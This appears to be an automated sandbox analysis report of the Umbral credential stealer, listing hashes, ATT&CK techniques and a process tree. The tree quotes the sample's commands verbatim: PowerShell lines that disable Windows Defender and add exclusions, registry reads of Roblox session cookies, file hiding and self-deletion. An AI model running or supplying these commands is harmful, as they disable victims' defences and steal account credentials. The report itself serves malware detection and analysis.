umbral | 628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6

Analysis

max time kernel
147s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
06-05-2024 12:00

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General

Target

Umbral.exe
Size

232KB
MD5

afbe250f9d941daf1fc895e29d0b2821
SHA1

9aeaa55efa56702a0c2694ff2de3a5c6df7b03ac
SHA256

628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6
SHA512

177ddc51032af306d32c0826efddfa3be5e68621b440be764fba7ad37fd982fb58d7e902e4eb258fe50bbd236f82457e45e7d12a885c78314b304e72fb0f2c94
SSDEEP

6144:tloZMDXU9Zx0kt8X0/PSCsMpwpf3tW+x5R0STTKN0b8e1mKISi:voZnf0kkPQwpf3tW+x5R0STTKm2

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral4/memory/3648-0-0x000002136C660000-0x000002136C6A0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4816	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4228	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4008	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3648	Umbral.exe
4816	powershell.exe
4816	powershell.exe
4948	powershell.exe
4948	powershell.exe
2112	powershell.exe
2112	powershell.exe
3800	powershell.exe
3800	powershell.exe
1388	powershell.exe
1388	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3648	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2668	wmic.exe
Token: SeSecurityPrivilege	2668	wmic.exe
Token: SeTakeOwnershipPrivilege	2668	wmic.exe
Token: SeLoadDriverPrivilege	2668	wmic.exe
Token: SeSystemProfilePrivilege	2668	wmic.exe
Token: SeSystemtimePrivilege	2668	wmic.exe
Token: SeProfSingleProcessPrivilege	2668	wmic.exe
Token: SeIncBasePriorityPrivilege	2668	wmic.exe
Token: SeCreatePagefilePrivilege	2668	wmic.exe
Token: SeBackupPrivilege	2668	wmic.exe
Token: SeRestorePrivilege	2668	wmic.exe
Token: SeShutdownPrivilege	2668	wmic.exe
Token: SeDebugPrivilege	2668	wmic.exe
Token: SeSystemEnvironmentPrivilege	2668	wmic.exe
Token: SeRemoteShutdownPrivilege	2668	wmic.exe
Token: SeUndockPrivilege	2668	wmic.exe
Token: SeManageVolumePrivilege	2668	wmic.exe
Token: 33	2668	wmic.exe
Token: 34	2668	wmic.exe
Token: 35	2668	wmic.exe
Token: 36	2668	wmic.exe
Token: SeIncreaseQuotaPrivilege	2668	wmic.exe
Token: SeSecurityPrivilege	2668	wmic.exe
Token: SeTakeOwnershipPrivilege	2668	wmic.exe
Token: SeLoadDriverPrivilege	2668	wmic.exe
Token: SeSystemProfilePrivilege	2668	wmic.exe
Token: SeSystemtimePrivilege	2668	wmic.exe
Token: SeProfSingleProcessPrivilege	2668	wmic.exe
Token: SeIncBasePriorityPrivilege	2668	wmic.exe
Token: SeCreatePagefilePrivilege	2668	wmic.exe
Token: SeBackupPrivilege	2668	wmic.exe
Token: SeRestorePrivilege	2668	wmic.exe
Token: SeShutdownPrivilege	2668	wmic.exe
Token: SeDebugPrivilege	2668	wmic.exe
Token: SeSystemEnvironmentPrivilege	2668	wmic.exe
Token: SeRemoteShutdownPrivilege	2668	wmic.exe
Token: SeUndockPrivilege	2668	wmic.exe
Token: SeManageVolumePrivilege	2668	wmic.exe
Token: 33	2668	wmic.exe
Token: 34	2668	wmic.exe
Token: 35	2668	wmic.exe
Token: 36	2668	wmic.exe
Token: SeDebugPrivilege	4816	powershell.exe
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeDebugPrivilege	3800	powershell.exe
Token: SeIncreaseQuotaPrivilege	440	wmic.exe
Token: SeSecurityPrivilege	440	wmic.exe
Token: SeTakeOwnershipPrivilege	440	wmic.exe
Token: SeLoadDriverPrivilege	440	wmic.exe
Token: SeSystemProfilePrivilege	440	wmic.exe
Token: SeSystemtimePrivilege	440	wmic.exe
Token: SeProfSingleProcessPrivilege	440	wmic.exe
Token: SeIncBasePriorityPrivilege	440	wmic.exe
Token: SeCreatePagefilePrivilege	440	wmic.exe
Token: SeBackupPrivilege	440	wmic.exe
Token: SeRestorePrivilege	440	wmic.exe
Token: SeShutdownPrivilege	440	wmic.exe
Token: SeDebugPrivilege	440	wmic.exe
Token: SeSystemEnvironmentPrivilege	440	wmic.exe
Token: SeRemoteShutdownPrivilege	440	wmic.exe
Token: SeUndockPrivilege	440	wmic.exe
Token: SeManageVolumePrivilege	440	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3648 wrote to memory of 2668	3648	Umbral.exe	79
PID 3648 wrote to memory of 2668	3648	Umbral.exe	79
PID 3648 wrote to memory of 1344	3648	Umbral.exe	82
PID 3648 wrote to memory of 1344	3648	Umbral.exe	82
PID 3648 wrote to memory of 4816	3648	Umbral.exe	84
PID 3648 wrote to memory of 4816	3648	Umbral.exe	84
PID 3648 wrote to memory of 4948	3648	Umbral.exe	87
PID 3648 wrote to memory of 4948	3648	Umbral.exe	87
PID 3648 wrote to memory of 2112	3648	Umbral.exe	89
PID 3648 wrote to memory of 2112	3648	Umbral.exe	89
PID 3648 wrote to memory of 3800	3648	Umbral.exe	91
PID 3648 wrote to memory of 3800	3648	Umbral.exe	91
PID 3648 wrote to memory of 440	3648	Umbral.exe	93
PID 3648 wrote to memory of 440	3648	Umbral.exe	93
PID 3648 wrote to memory of 3968	3648	Umbral.exe	95
PID 3648 wrote to memory of 3968	3648	Umbral.exe	95
PID 3648 wrote to memory of 3604	3648	Umbral.exe	97
PID 3648 wrote to memory of 3604	3648	Umbral.exe	97
PID 3648 wrote to memory of 1388	3648	Umbral.exe	99
PID 3648 wrote to memory of 1388	3648	Umbral.exe	99
PID 3648 wrote to memory of 4228	3648	Umbral.exe	101
PID 3648 wrote to memory of 4228	3648	Umbral.exe	101
PID 3648 wrote to memory of 2824	3648	Umbral.exe	103
PID 3648 wrote to memory of 2824	3648	Umbral.exe	103
PID 2824 wrote to memory of 4008	2824	cmd.exe	105
PID 2824 wrote to memory of 4008	2824	cmd.exe	105

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1344	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3648
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2668
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:1344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3800
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:440
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3968
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1388
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4228
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:4008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
aa4f31835d07347297d35862c9045f4a

SHA1
83e728008935d30f98e5480fba4fbccf10cefb05

SHA256
99c83bc5c531e49d4240700142f3425aba74e18ebcc23556be32238ffde9cce0

SHA512
ec3a4bee8335007b8753ae8ac42287f2b3bcbb258f7fc3fb15c9f8d3e611cb9bf6ae2d3034953286a34f753e9ec33f7495e064bab0e8c7fcedd75d6e5eb66629

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
83bc7bafe464042aba6a1d1d98a1489f

SHA1
8268233d7442b842b858a1ef0831b5998bd3df40

SHA256
9c4ea380965b6239151beaa1d605ff20255b3691968352fc8a3b8b7634a41b1d

SHA512
a38d64bbe657adaf9991240d46fda9268a3e1a322366847899bb6347de1d3cd66dabead78792f65dad68253147415f2ad44904eab1589368cf8d2140bdd1dfd0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
60a84ea8f3888e51bb0fe4856926a639

SHA1
43848b5a831f8fe7623694b36b17554b83770269

SHA256
5d219511d1091f4dc52ef6664815bcacf013c76b695bf2195aa439a6cc431504

SHA512
f6381deedc9612c96914173d948bd601192256c1b65a6b6be3c6664de84df64fb8740fa0205846e0380305bf5442e52991d134ff94b8edc899775befcc4a86ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_js3y5kae.exu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1388-85-0x0000022B24690000-0x0000022B247DF000-memory.dmp

Filesize
1.3MB

Download
memory/2112-58-0x000001FBDE060000-0x000001FBDE1AF000-memory.dmp

Filesize
1.3MB

Download
memory/3648-72-0x000002136ECF0000-0x000002136ED02000-memory.dmp

Filesize
72KB

Download
memory/3648-71-0x000002136E490000-0x000002136E49A000-memory.dmp

Filesize
40KB

Download
memory/3648-1-0x00007FFE6ADF3000-0x00007FFE6ADF5000-memory.dmp

Filesize
8KB

Download
memory/3648-90-0x00007FFE6ADF0000-0x00007FFE6B8B2000-memory.dmp

Filesize
10.8MB

Download
memory/3648-33-0x000002136EEA0000-0x000002136EF16000-memory.dmp

Filesize
472KB

Download
memory/3648-34-0x000002136EE20000-0x000002136EE70000-memory.dmp

Filesize
320KB

Download
memory/3648-35-0x000002136EF30000-0x000002136EF4E000-memory.dmp

Filesize
120KB

Download
memory/3648-2-0x00007FFE6ADF0000-0x00007FFE6B8B2000-memory.dmp

Filesize
10.8MB

Download
memory/3648-0-0x000002136C660000-0x000002136C6A0000-memory.dmp

Filesize
256KB

Download
memory/3800-69-0x000002B5A16A0000-0x000002B5A17EF000-memory.dmp

Filesize
1.3MB

Download
memory/4816-13-0x00007FFE6ADF0000-0x00007FFE6B8B2000-memory.dmp

Filesize
10.8MB

Download
memory/4816-18-0x00007FFE6ADF0000-0x00007FFE6B8B2000-memory.dmp

Filesize
10.8MB

Download
memory/4816-17-0x000002CD70A10000-0x000002CD70B5F000-memory.dmp

Filesize
1.3MB

Download
memory/4816-14-0x00007FFE6ADF0000-0x00007FFE6B8B2000-memory.dmp

Filesize
10.8MB

Download
memory/4816-12-0x000002CD70970000-0x000002CD70992000-memory.dmp

Filesize
136KB

Download
memory/4816-3-0x00007FFE6ADF0000-0x00007FFE6B8B2000-memory.dmp

Filesize
10.8MB

Download
memory/4948-30-0x00000241E4DC0000-0x00000241E4F0F000-memory.dmp

Filesize
1.3MB

Download